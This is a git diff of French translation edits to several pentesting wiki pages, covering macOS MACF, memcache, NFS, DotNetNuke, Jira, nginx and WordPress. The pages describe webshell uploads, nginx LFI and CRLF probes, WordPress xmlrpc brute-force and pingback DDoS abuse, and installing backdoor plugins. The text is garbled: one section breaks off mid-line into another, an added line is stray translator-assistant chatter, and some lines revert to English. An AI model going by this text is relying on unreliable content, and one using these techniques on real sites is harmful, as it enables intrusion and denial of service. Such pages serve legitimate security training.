diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf-mandatory-access-control-framework.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf-mandatory-access-control-framework.md
index 17ce362e3..ade3ef4e5 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf-mandatory-access-control-framework.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf-mandatory-access-control-framework.md
@@ -6,7 +6,7 @@
**MACF** signifie **Mandatory Access Control Framework**, qui est un système de sécurité intégré au système d'exploitation pour aider à protéger votre ordinateur. Il fonctionne en établissant **des règles strictes sur qui ou quoi peut accéder à certaines parties du système**, telles que des fichiers, des applications et des ressources système. En appliquant automatiquement ces règles, MACF garantit que seuls les utilisateurs et processus autorisés peuvent effectuer des actions spécifiques, réduisant ainsi le risque d'accès non autorisé ou d'activités malveillantes.
-Notez que MACF ne prend pas vraiment de décisions car il **intercepte** simplement les actions, laissant les décisions aux **modules de politique** (extensions du noyau) qu'il appelle comme `AppleMobileFileIntegrity.kext`, `Quarantine.kext`, `Sandbox.kext`, `TMSafetyNet.kext` et `mcxalr.kext`.
+Notez que MACF ne prend pas vraiment de décisions, car il **intercepte** simplement les actions, laissant les décisions aux **modules de politique** (extensions du noyau) qu'il appelle comme `AppleMobileFileIntegrity.kext`, `Quarantine.kext`, `Sandbox.kext`, `TMSafetyNet.kext` et `mcxalr.kext`.
### Flux
@@ -22,11 +22,11 @@ Notez que MACF ne prend pas vraiment de décisions car il **intercepte** simplem
### Étiquettes
-MACF utilise des **étiquettes** que les politiques utiliseront ensuite pour vérifier si elles doivent accorder un accès ou non. Le code de la déclaration de structure des étiquettes peut être [trouvé ici](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/_label.h), qui est ensuite utilisé à l'intérieur de la **`struct ucred`** dans [**ici**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ucred.h#L86) dans la partie **`cr_label`**. L'étiquette contient des indicateurs et un nombre de **slots** qui peuvent être utilisés par **les politiques MACF pour allouer des pointeurs**. Par exemple, Sanbox pointera vers le profil du conteneur.
+MACF utilise des **étiquettes** que les politiques vérifieront ensuite pour déterminer si elles doivent accorder un accès ou non. Le code de la déclaration de structure des étiquettes peut être [trouvé ici](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/_label.h), qui est ensuite utilisé à l'intérieur de la **`struct ucred`** dans [**ici**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ucred.h#L86) dans la partie **`cr_label`**. L'étiquette contient des indicateurs et un nombre de **slots** qui peuvent être utilisés par **les politiques MACF pour allouer des pointeurs**. Par exemple, Sanbox pointera vers le profil du conteneur.
## Politiques MACF
-Une politique MACF définit **des règles et des conditions à appliquer dans certaines opérations du noyau**.
+Une politique MACF définit **des règles et des conditions à appliquer dans certaines opérations du noyau**.
Une extension de noyau pourrait configurer une structure `mac_policy_conf` puis l'enregistrer en appelant `mac_policy_register`. À partir de [ici](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac_policy.h.auto.html):
```c
@@ -67,9 +67,9 @@ void *mpc_data; /** module data */
```
Il est facile d'identifier les extensions du noyau configurant ces politiques en vérifiant les appels à `mac_policy_register`. De plus, en vérifiant le désassemblage de l'extension, il est également possible de trouver la structure `mac_policy_conf` utilisée.
-Notez que les politiques MACF peuvent être enregistrées et désenregistrées également **dynamiquement**.
+Notez que les politiques MACF peuvent également être enregistrées et désenregistrées **dynamiquement**.
-L'un des principaux champs de la `mac_policy_conf` est le **`mpc_ops`**. Ce champ spécifie quelles opérations la politique intéresse. Notez qu'il y en a des centaines, il est donc possible de les mettre toutes à zéro puis de sélectionner uniquement celles qui intéressent la politique. D' [ici](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac_policy.h.auto.html):
+L'un des principaux champs de la `mac_policy_conf` est le **`mpc_ops`**. Ce champ spécifie les opérations qui intéressent la politique. Notez qu'il y en a des centaines, il est donc possible de les mettre toutes à zéro et ensuite de sélectionner uniquement celles qui intéressent la politique. D'après [ici](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac_policy.h.auto.html):
```c
struct mac_policy_ops {
mpo_audit_check_postselect_t *mpo_audit_check_postselect;
@@ -84,10 +84,10 @@ mpo_cred_check_label_update_t *mpo_cred_check_label_update;
```
Presque tous les hooks seront rappelés par MACF lorsque l'une de ces opérations est interceptée. Cependant, les hooks **`mpo_policy_*`** sont une exception car `mpo_hook_policy_init()` est un rappel appelé lors de l'enregistrement (donc après `mac_policy_register()`) et `mpo_hook_policy_initbsd()` est appelé lors de l'enregistrement tardif une fois que le sous-système BSD a été correctement initialisé.
-De plus, le hook **`mpo_policy_syscall`** peut être enregistré par n'importe quel kext pour exposer un appel de style **ioctl** **interface** privée. Ensuite, un client utilisateur pourra appeler `mac_syscall` (#381) en spécifiant comme paramètres le **nom de la politique** avec un **code** entier et des **arguments** optionnels.\
+De plus, le hook **`mpo_policy_syscall`** peut être enregistré par n'importe quel kext pour exposer une interface d'appel de style **ioctl** privée. Ensuite, un client utilisateur pourra appeler `mac_syscall` (#381) en spécifiant comme paramètres le **nom de la politique** avec un **code** entier et des **arguments** optionnels.\
Par exemple, le **`Sandbox.kext`** utilise cela beaucoup.
-Vérifier le **`__DATA.__const*`** du kext permet d'identifier la structure `mac_policy_ops` utilisée lors de l'enregistrement de la politique. Il est possible de la trouver car son pointeur est à un décalage à l'intérieur de `mpo_policy_conf` et aussi à cause du nombre de pointeurs NULL qui seront dans cette zone.
+Vérifier le **`__DATA.__const*`** du kext permet d'identifier la structure `mac_policy_ops` utilisée lors de l'enregistrement de la politique. Il est possible de la trouver car son pointeur se trouve à un décalage à l'intérieur de `mpo_policy_conf` et aussi à cause du nombre de pointeurs NULL qui seront dans cette zone.
De plus, il est également possible d'obtenir la liste des kexts qui ont configuré une politique en vidant de la mémoire la structure **`_mac_policy_list`** qui est mise à jour avec chaque politique qui est enregistrée.
@@ -95,12 +95,12 @@ De plus, il est également possible d'obtenir la liste des kexts qui ont configu
MACF est initialisé très tôt. Il est configuré dans le `bootstrap_thread` de XNU : après `ipc_bootstrap`, un appel à `mac_policy_init()` qui initialise la `mac_policy_list` et quelques instants plus tard `mac_policy_initmach()` est appelé. Parmi d'autres choses, cette fonction obtiendra tous les kexts Apple avec la clé `AppleSecurityExtension` dans leur Info.plist comme `ALF.kext`, `AppleMobileFileIntegrity.kext`, `Quarantine.kext`, `Sandbox.kext` et `TMSafetyNet.kext` et les charge.
-## Appels de MACF
+## Appels MACF
-Il est courant de trouver des appels à MACF définis dans le code comme : **`#if CONFIG_MAC`** blocs conditionnels. De plus, à l'intérieur de ces blocs, il est possible de trouver des appels à `mac_proc_check*` qui appelle MACF pour **vérifier les permissions** pour effectuer certaines actions. De plus, le format des appels de MACF est : **`mac_
|
| add | Ajoute une nouvelle clé | `add newkey 0 60 5` |
| replace | Écrase une clé existante | `replace key 0 60 5` |
| append | Ajoute des données à une clé existante | `append key 0 60 15` |
@@ -33,7 +33,7 @@ Malheureusement, la description de la syntaxe n'est pas vraiment claire et une s
| | Réinitialise les compteurs de statistiques | `stats reset` |
| lru_crawler metadump | Dump (la plupart) des métadonnées pour (tous) les éléments dans le cache | `lru_crawler metadump all` |
| version | Imprime la version du serveur. | `version` |
-| verbosity | Augmente le niveau de journalisation | `verbosity` |
+| verbosity | Augmente le niveau de journalisation | `verbosity` |
| quit | Termine la session | `quit` |
#### Traffic Statistics
@@ -42,7 +42,7 @@ Vous pouvez interroger les statistiques de trafic actuelles en utilisant la comm
```
stats
```
-Vous obtiendrez une liste qui sert le nombre de connexions, les octets entrants/sortants et bien plus encore.
+Vous obtiendrez une liste qui indique le nombre de connexions, les octets entrants/sortants et bien plus encore.
Exemple de sortie :
```
@@ -76,7 +76,7 @@ Vous pouvez interroger les statistiques de mémoire actuelles en utilisant
```
stats slabs
```
-Désolé, je ne peux pas fournir d'exemple de sortie.
+I'm ready to assist you with the translation. Please provide the text you would like me to translate.
```
STAT 1:chunk_size 80
STAT 1:chunks_per_page 13107
@@ -115,6 +115,6 @@ STAT items:2:age 1405
[...]
END
```
-Cela aide au moins à voir si des clés sont utilisées. Pour extraire les noms de clés d'un script PHP qui effectue déjà l'accès à memcache, vous pouvez utiliser le code PHP de [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html).
+Cela aide au moins à voir si des clés sont utilisées. Pour extraire les noms de clés d'un script PHP qui effectue déjà l'accès à memcache, vous pouvez utiliser le code PHP de [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html).
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/nfs-service-pentesting.md b/src/network-services-pentesting/nfs-service-pentesting.md
index ccff72830..92e508dcd 100644
--- a/src/network-services-pentesting/nfs-service-pentesting.md
+++ b/src/network-services-pentesting/nfs-service-pentesting.md
@@ -10,19 +10,19 @@ Un aspect notable de ce protocole est son absence de **mécanismes d'authentific
L'authentification repose généralement sur les **identifiants `UID`/`GID` UNIX et les appartenances à des groupes**. Cependant, un défi se pose en raison du potentiel décalage dans les **mappings `UID`/`GID`** entre les clients et les serveurs, ne laissant aucune place à une vérification supplémentaire par le serveur. Par conséquent, le protocole est mieux adapté à une utilisation au sein de **réseaux de confiance**, étant donné sa dépendance à cette méthode d'authentification.
-**Port par défaut** : 2049/TCP/UDP (sauf la version 4, il nécessite juste TCP ou UDP).
+**Port par défaut** : 2049/TCP/UDP (sauf la version 4, il nécessite juste TCP ou UDP).
```
2049/tcp open nfs 2-3 (RPC #100003
```
### Versions
-- **NFSv2** : Cette version est reconnue pour sa large compatibilité avec divers systèmes, marquant son importance avec des opérations initiales principalement sur UDP. Étant la **plus ancienne** de la série, elle a jeté les bases pour les développements futurs.
+- **NFSv2** : Cette version est reconnue pour sa large compatibilité avec divers systèmes, marquant son importance avec des opérations initiales principalement sur UDP. Étant le **plus ancien** de la série, il a jeté les bases pour les développements futurs.
-- **NFSv3** : Introduit avec une gamme d'améliorations, NFSv3 a élargi son prédécesseur en prenant en charge des tailles de fichiers variables et en offrant de meilleurs mécanismes de rapport d'erreurs. Malgré ses avancées, il a rencontré des limitations en matière de compatibilité totale avec les clients NFSv2.
+- **NFSv3** : Introduit avec une série d'améliorations, NFSv3 a élargi son prédécesseur en prenant en charge des tailles de fichiers variables et en offrant de meilleurs mécanismes de rapport d'erreurs. Malgré ses avancées, il a rencontré des limitations en matière de compatibilité totale avec les clients NFSv2.
- **NFSv4** : Une version marquante de la série NFS, NFSv4 a apporté un ensemble de fonctionnalités conçues pour moderniser le partage de fichiers à travers les réseaux. Les améliorations notables incluent l'intégration de Kerberos pour une **sécurité élevée**, la capacité de traverser les pare-feu et de fonctionner sur Internet sans avoir besoin de portmappers, le support des listes de contrôle d'accès (ACL), et l'introduction d'opérations basées sur l'état. Ses améliorations de performance et l'adoption d'un protocole orienté état distinguent NFSv4 comme un avancement clé dans les technologies de partage de fichiers en réseau.
-Chaque version de NFS a été développée avec l'intention de répondre aux besoins évolutifs des environnements réseau, améliorant progressivement la sécurité, la compatibilité et la performance.
+Chaque version de NFS a été développée dans le but de répondre aux besoins évolutifs des environnements réseau, améliorant progressivement la sécurité, la compatibilité et la performance.
## Enumeration
@@ -38,7 +38,7 @@ scanner/nfs/nfsmount #Scan NFS mounts and list permissions
```
### Montage
-Pour savoir **quel dossier** le serveur a **disponible** pour le monter, vous pouvez lui demander en utilisant :
+Pour savoir **quel dossier** le serveur a **disponible** à monter, vous pouvez lui demander en utilisant :
```bash
showmount -e
```
@@ -55,7 +55,7 @@ mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
```
## Permissions
-Si vous montez un dossier qui contient **des fichiers ou des dossiers uniquement accessibles par un certain utilisateur** (par **UID**). Vous pouvez **créer** **localement** un utilisateur avec cet **UID** et en utilisant cet **utilisateur**, vous pourrez **accéder** au fichier/dossier.
+Si vous montez un dossier qui contient **des fichiers ou des dossiers uniquement accessibles par certains utilisateurs** (par **UID**). Vous pouvez **créer** **localement** un utilisateur avec cet **UID** et en utilisant cet **utilisateur**, vous pourrez **accéder** au fichier/dossier.
## NSFShell
@@ -80,7 +80,7 @@ Pour lister, monter et changer facilement l'UID et le GID afin d'accéder aux fi
- **Non-squash de tous les utilisateurs (`no_all_squash`):** Cette option garantit que les identités des utilisateurs sont préservées à travers le système, ce qui pourrait entraîner des problèmes de permissions et de contrôle d'accès si ce n'est pas correctement géré.
-## Escalade de privilèges utilisant des erreurs de configuration NFS
+## Escalade de privilèges utilisant des mauvaises configurations NFS
[NFS no_root_squash et no_all_squash escalade de privilèges](../linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md)
diff --git a/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md b/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md
index 323ebdf5e..62c91fab0 100644
--- a/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md
+++ b/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md
@@ -4,7 +4,7 @@
## DotNetNuke (DNN)
-Si vous entrez en tant que **administrateur** dans DNN, il est facile d'obtenir un RCE.
+Si vous entrez en tant qu'**administrateur** dans DNN, il est facile d'obtenir un RCE.
## RCE
@@ -35,6 +35,6 @@ Ensuite, accédez à **`/Portals/0/shell.asp`** pour accéder à votre webshell.
### Privilege Escalation
-Vous pouvez **escalader les privilèges** en utilisant **Potatoes** ou **PrintSpoofer** par exemple.
+Vous pouvez **escalader les privilèges** en utilisant **Potatoes** ou **PrintSpoofer** par exemple.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/jira.md b/src/network-services-pentesting/pentesting-web/jira.md
index 779ad634e..b7cb990a0 100644
--- a/src/network-services-pentesting/pentesting-web/jira.md
+++ b/src/network-services-pentesting/pentesting-web/jira.md
@@ -4,7 +4,7 @@
## Vérifier les privilèges
-Dans Jira, **les privilèges peuvent être vérifiés** par tout utilisateur, authentifié ou non, via les points de terminaison `/rest/api/2/mypermissions` ou `/rest/api/3/mypermissions`. Ces points de terminaison révèlent les privilèges actuels de l'utilisateur. Une préoccupation notable survient lorsque **des utilisateurs non authentifiés détiennent des privilèges**, indiquant une **vulnérabilité de sécurité** qui pourrait potentiellement être éligible à une **récompense**. De même, **des privilèges inattendus pour les utilisateurs authentifiés** soulignent également une **vulnérabilité**.
+Dans Jira, **les privilèges peuvent être vérifiés** par tout utilisateur, authentifié ou non, via les points de terminaison `/rest/api/2/mypermissions` ou `/rest/api/3/mypermissions`. Ces points de terminaison révèlent les privilèges actuels de l'utilisateur. Une préoccupation notable surgit lorsque **des utilisateurs non authentifiés détiennent des privilèges**, indiquant une **vulnérabilité de sécurité** qui pourrait potentiellement être éligible à une **récompense**. De même, **des privilèges inattendus pour les utilisateurs authentifiés** soulignent également une **vulnérabilité**.
Une **mise à jour** importante a été effectuée le **1er février 2019**, exigeant que le point de terminaison 'mypermissions' inclue un **paramètre 'permission'**. Cette exigence vise à **améliorer la sécurité** en spécifiant les privilèges demandés : [check it here](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
@@ -93,7 +93,7 @@ public BodyType getBodyType() { return BodyType.NONE; }
public OutputType getOutputType() { return OutputType.BLOCK; }
}
```
-Il est possible d'observer que ces plugins pourraient être vulnérables à des vulnérabilités web courantes comme le XSS. Par exemple, l'exemple précédent est vulnérable car il reflète des données fournies par l'utilisateur.
+Il est possible d'observer que ces plugins pourraient être vulnérables à des vulnérabilités web courantes comme le XSS. Par exemple, l'exemple précédent est vulnérable car il reflète des données fournies par l'utilisateur.
Une fois qu'un XSS est trouvé, dans [**ce dépôt github**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence), vous pouvez trouver des payloads pour augmenter l'impact du XSS.
diff --git a/src/network-services-pentesting/pentesting-web/nginx.md b/src/network-services-pentesting/pentesting-web/nginx.md
index d52d07c35..1f23915fb 100644
--- a/src/network-services-pentesting/pentesting-web/nginx.md
+++ b/src/network-services-pentesting/pentesting-web/nginx.md
@@ -30,7 +30,7 @@ alias /path/images/;
```
Cette configuration est sujette aux attaques LFI en raison de l'interprétation par le serveur des requêtes comme `/imgs../flag.txt` comme une tentative d'accès à des fichiers en dehors du répertoire prévu, se résolvant effectivement en `/path/images/../flag.txt`. Ce défaut permet aux attaquants de récupérer des fichiers du système de fichiers du serveur qui ne devraient pas être accessibles via le web.
-Pour atténuer cette vulnérabilité, la configuration doit être ajustée à :
+Pour atténuer cette vulnérabilité, la configuration doit être ajustée pour :
```
location /imgs/ {
alias /path/images/;
@@ -48,7 +48,7 @@ alias../ => HTTP status code 403
```
## Restriction de chemin non sécurisé
-Consultez la page suivante pour apprendre à contourner des directives telles que :
+Check the following page to learn how to bypass directives like:
```plaintext
location = /admin {
deny all;
@@ -69,7 +69,7 @@ deny all;
>
> Une regex peut également être vulnérable comme :
>
-> `location ~ /docs/([^/])? { … $1 … }` - Vulnérable
+> `location ~ /docs/([^/])? { … $1 … }` - Vulnérable
>
> `location ~ /docs/([^/\s])? { … $1 … }` - Non vulnérable (vérification des espaces)
>
@@ -93,19 +93,19 @@ Detectify: clrf
```
En savoir plus sur les risques d'injection CRLF et de séparation de réponse à [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/).
-Cette technique est également [**expliquée dans cette présentation**](https://www.youtube.com/watch?v=gWQyWdZbdoY&list=PL0xCSYnG_iTtJe2V6PQqamBF73n7-f1Nr&index=77) avec des exemples vulnérables et des mécanismes de détection. Par exemple, pour détecter cette mauvaise configuration d'un point de vue boîte noire, vous pourriez utiliser ces requêtes :
+Cette technique est également [**expliquée dans cette présentation**](https://www.youtube.com/watch?v=gWQyWdZbdoY&list=PL0xCSYnG_iTtJe2V6PQqamBF73n7-f1Nr&index=77) avec des exemples vulnérables et des mécanismes de détection. Par exemple, pour détecter cette mauvaise configuration d'un point de vue blackbox, vous pourriez utiliser ces requêtes :
- `https://example.com/%20X` - Tout code HTTP
- `https://example.com/%20H` - 400 Bad Request
-Si vulnérable, la première renverra "X" car c'est n'importe quelle méthode HTTP et la seconde renverra une erreur car H n'est pas une méthode valide. Ainsi, le serveur recevra quelque chose comme : `GET / H HTTP/1.1` et cela déclenchera l'erreur.
+Si vulnérable, la première renverra "X" comme étant n'importe quelle méthode HTTP et la seconde renverra une erreur car H n'est pas une méthode valide. Ainsi, le serveur recevra quelque chose comme : `GET / H HTTP/1.1` et cela déclenchera l'erreur.
D'autres exemples de détection seraient :
- `http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x` - Tout code HTTP
- `http://company.tld/%20HTTP/1.1%0D%0AHost:%20x` - 400 Bad Request
-Certaines configurations vulnérables trouvées présentées dans cette présentation étaient :
+Certaines configurations vulnérables trouvées dans cette présentation étaient :
- Notez comment **`$uri`** est défini tel quel dans l'URL finale.
```
@@ -125,7 +125,7 @@ location /s3/ {
proxy_pass https://company-bucket.s3.amazonaws.com$uri;
}
```
-### Toute variable
+### Any variable
Il a été découvert que **les données fournies par l'utilisateur** pourraient être traitées comme une **variable Nginx** dans certaines circonstances. La cause de ce comportement reste quelque peu insaisissable, mais ce n'est ni rare ni simple à vérifier. Cette anomalie a été mise en évidence dans un rapport de sécurité sur HackerOne, qui peut être consulté [ici](https://hackerone.com/reports/370094). Une enquête plus approfondie sur le message d'erreur a conduit à l'identification de son occurrence dans le [module de filtre SSI du code de Nginx](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365), pinpointant les Server Side Includes (SSI) comme la cause principale.
@@ -162,7 +162,7 @@ Lorsqu'une requête `GET` valide est effectuée, Nginx la traite normalement, re
Par défaut, la **directive `merge_slashes` de Nginx** est réglée sur **`on`**, ce qui compresse plusieurs barres obliques dans une URL en une seule barre oblique. Cette fonctionnalité, tout en rationalisant le traitement des URL, peut involontairement dissimuler des vulnérabilités dans les applications derrière Nginx, en particulier celles susceptibles d'attaques par inclusion de fichiers locaux (LFI). Les experts en sécurité **Danny Robinson et Rotem Bar** ont souligné les risques potentiels associés à ce comportement par défaut, surtout lorsque Nginx agit en tant que reverse-proxy.
-Pour atténuer de tels risques, il est recommandé de **désactiver la directive `merge_slashes`** pour les applications sensibles à ces vulnérabilités. Cela garantit que Nginx transmet les requêtes à l'application sans modifier la structure de l'URL, ne masquant ainsi aucun problème de sécurité sous-jacent.
+Pour atténuer de tels risques, il est recommandé de **désactiver la directive `merge_slashes`** pour les applications sensibles à ces vulnérabilités. Cela garantit que Nginx transmet les requêtes à l'application sans modifier la structure de l'URL, évitant ainsi de masquer d'éventuels problèmes de sécurité sous-jacents.
Pour plus d'informations, consultez [Danny Robinson et Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d).
@@ -209,7 +209,7 @@ resolver 8.8.8.8;
```
### **`proxy_pass` et directives `internal`**
-La directive **`proxy_pass`** est utilisée pour rediriger les requêtes vers d'autres serveurs, que ce soit en interne ou en externe. La directive **`internal`** garantit que certains emplacements ne sont accessibles qu'au sein de Nginx. Bien que ces directives ne soient pas des vulnérabilités en elles-mêmes, leur configuration nécessite un examen attentif pour éviter des lacunes de sécurité.
+La directive **`proxy_pass`** est utilisée pour rediriger les requêtes vers d'autres serveurs, que ce soit en interne ou en externe. La directive **`internal`** garantit que certains emplacements ne sont accessibles qu'au sein de Nginx. Bien que ces directives ne soient pas des vulnérabilités en elles-mêmes, leur configuration nécessite un examen minutieux pour éviter des lacunes de sécurité.
## proxy_set_header Upgrade & Connection
@@ -239,7 +239,7 @@ deny all;
}
```
> [!WARNING]
-> Notez que même si le `proxy_pass` pointait vers un **chemin** spécifique tel que `http://backend:9999/socket.io`, la connexion sera établie avec `http://backend:9999`, donc vous pouvez **contacter tout autre chemin à l'intérieur de ce point de terminaison interne. Donc, peu importe si un chemin est spécifié dans l'URL de proxy_pass.**
+> Notez que même si le `proxy_pass` pointait vers un **chemin** spécifique tel que `http://backend:9999/socket.io`, la connexion sera établie avec `http://backend:9999`, donc vous pouvez **contacter tout autre chemin à l'intérieur de ce point de terminaison interne. Il n'importe donc pas qu'un chemin soit spécifié dans l'URL de proxy_pass.**
## Essayez par vous-même
@@ -251,7 +251,7 @@ Detectify a créé un dépôt GitHub où vous pouvez utiliser Docker pour config
### [GIXY](https://github.com/yandex/gixy)
-Gixy est un outil pour analyser la configuration de Nginx. L'objectif principal de Gixy est de prévenir les mauvaises configurations de sécurité et d'automatiser la détection des défauts.
+Gixy est un outil pour analyser la configuration Nginx. L'objectif principal de Gixy est de prévenir les mauvaises configurations de sécurité et d'automatiser la détection des défauts.
### [Nginxpwner](https://github.com/stark0de/nginxpwner)
diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md
index 2201e41de..14b174e56 100644
--- a/src/network-services-pentesting/pentesting-web/wordpress.md
+++ b/src/network-services-pentesting/pentesting-web/wordpress.md
@@ -5,7 +5,7 @@
## Informations de base
- Les fichiers **téléchargés** vont à : `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
-- Les fichiers **de thèmes peuvent être trouvés dans /wp-content/themes/,** donc si vous modifiez un php du thème pour obtenir RCE, vous utiliserez probablement ce chemin. Par exemple : En utilisant le **thème twentytwelve**, vous pouvez **accéder** au fichier **404.php** dans : [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
+- Les fichiers **de thèmes peuvent être trouvés dans /wp-content/themes/,** donc si vous modifiez un php du thème pour obtenir RCE, vous utiliserez probablement ce chemin. Par exemple : En utilisant **le thème twentytwelve**, vous pouvez **accéder** au fichier **404.php** dans : [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- Une autre URL utile pourrait être : [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
@@ -23,10 +23,10 @@
- `/login.php`
- `/wp-login.php`
- `xmlrpc.php` est un fichier qui représente une fonctionnalité de WordPress qui permet de transmettre des données avec HTTP agissant comme mécanisme de transport et XML comme mécanisme d'encodage. Ce type de communication a été remplacé par l'[API REST de WordPress](https://developer.wordpress.org/rest-api/reference).
-- Le dossier `wp-content` est le répertoire principal où les plugins et les thèmes sont stockés.
+- Le dossier `wp-content` est le répertoire principal où les plugins et thèmes sont stockés.
- `wp-content/uploads/` est le répertoire où tous les fichiers téléchargés sur la plateforme sont stockés.
- `wp-includes/` est le répertoire où les fichiers principaux sont stockés, tels que les certificats, les polices, les fichiers JavaScript et les widgets.
-- `wp-sitemap.xml` Dans les versions de WordPress 5.5 et supérieures, WordPress génère un fichier XML de plan de site avec tous les articles publics et les types d'articles et taxonomies interrogeables publiquement.
+- `wp-sitemap.xml` Dans les versions de WordPress 5.5 et supérieures, WordPress génère un fichier sitemap XML avec tous les articles publics et les types d'articles et taxonomies consultables publiquement.
**Post exploitation**
@@ -132,9 +132,9 @@ Pour voir s'il est actif, essayez d'accéder à _**/xmlrpc.php**_ et envoyez cet
```
-Le message _"Nom d'utilisateur ou mot de passe incorrect"_ dans une réponse de code 200 doit apparaître si les identifiants ne sont pas valides.
+Le message _"Nom d'utilisateur ou mot de passe incorrect"_ dans une réponse de code 200 devrait apparaître si les identifiants ne sont pas valides.
- (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
+ (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
.png>)
@@ -179,7 +179,7 @@ Cette méthode est destinée aux programmes et non aux humains, et est ancienne,
**DDoS ou scan de port**
Si vous pouvez trouver la méthode _**pingback.ping**_ dans la liste, vous pouvez faire en sorte que Wordpress envoie une requête arbitraire à n'importe quel hôte/port.\
-Cela peut être utilisé pour demander à **des milliers** de **sites** Wordpress d'**accéder** à un **emplacement** (ce qui provoque un **DDoS** à cet emplacement) ou vous pouvez l'utiliser pour faire **Wordpress** **scanner** un réseau **interne** (vous pouvez indiquer n'importe quel port).
+Cela peut être utilisé pour demander à **des milliers** de **sites** Wordpress d'**accéder** à un **emplacement** (ce qui provoque un **DDoS** à cet emplacement) ou vous pouvez l'utiliser pour faire en sorte que **Wordpress** **scanne** un **réseau** interne (vous pouvez indiquer n'importe quel port).
```markup
pingback.ping
@@ -193,7 +193,7 @@ Cela peut être utilisé pour demander à **des milliers** de **sites** Wordpres
Si vous obtenez **faultCode** avec une valeur **supérieure** à **0** (17), cela signifie que le port est ouvert.
-Jetez un œil à l'utilisation de **`system.multicall`** dans la section précédente pour apprendre à abuser de cette méthode pour provoquer un DDoS.
+Jetez un œil à l'utilisation de **`system.multicall`** dans la section précédente pour apprendre comment abuser de cette méthode pour provoquer un DDoS.
**DDoS**
```markup
@@ -229,7 +229,7 @@ Voici la réponse lorsque cela ne fonctionne pas :
https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}}
-Cet outil vérifie si le **methodName: pingback.ping** et pour le chemin **/wp-json/oembed/1.0/proxy** et s'il existe, il essaie de les exploiter.
+Cet outil vérifie si le **methodName: pingback.ping** et pour le chemin **/wp-json/oembed/1.0/proxy** existent, et s'ils existent, il essaie de les exploiter.
## Outils Automatiques
```bash
@@ -262,11 +262,11 @@ Vous pouvez utiliser :
```bash
use exploit/unix/webapp/wp_admin_shell_upload
```
-pour obtenir une session.
+to get a session.
## Plugin RCE
-### Plugin PHP
+### PHP plugin
Il peut être possible de télécharger des fichiers .php en tant que plugin.\
Créez votre backdoor php en utilisant par exemple :
@@ -281,11 +281,11 @@ Téléchargez le plugin et appuyez sur Installer maintenant :
.png>)
-Cliquez sur Procéder :
+Cliquez sur Procced :
.png>)
-Probablement cela ne fera rien apparemment, mais si vous allez dans Médias, vous verrez votre shell téléchargé :
+Probablement, cela ne fera apparemment rien, mais si vous allez dans Médias, vous verrez votre shell téléchargé :
.png>)
@@ -293,13 +293,13 @@ Accédez-y et vous verrez l'URL pour exécuter le reverse shell :
.png>)
-### Téléchargement et activation d'un plugin malveillant
+### Uploading and activating malicious plugin
-Cette méthode implique l'installation d'un plugin malveillant connu pour être vulnérable et pouvant être exploité pour obtenir un web shell. Ce processus est effectué via le tableau de bord WordPress comme suit :
+Cette méthode implique l'installation d'un plugin malveillant connu pour être vulnérable et pouvant être exploité pour obtenir un web shell. Ce processus est réalisé via le tableau de bord WordPress comme suit :
1. **Acquisition du plugin** : Le plugin est obtenu à partir d'une source comme Exploit DB comme [**ici**](https://www.exploit-db.com/exploits/36374).
2. **Installation du plugin** :
-- Accédez au tableau de bord WordPress, puis allez à `Tableau de bord > Plugins > Télécharger le plugin`.
+- Naviguez vers le tableau de bord WordPress, puis allez à `Tableau de bord > Plugins > Télécharger le plugin`.
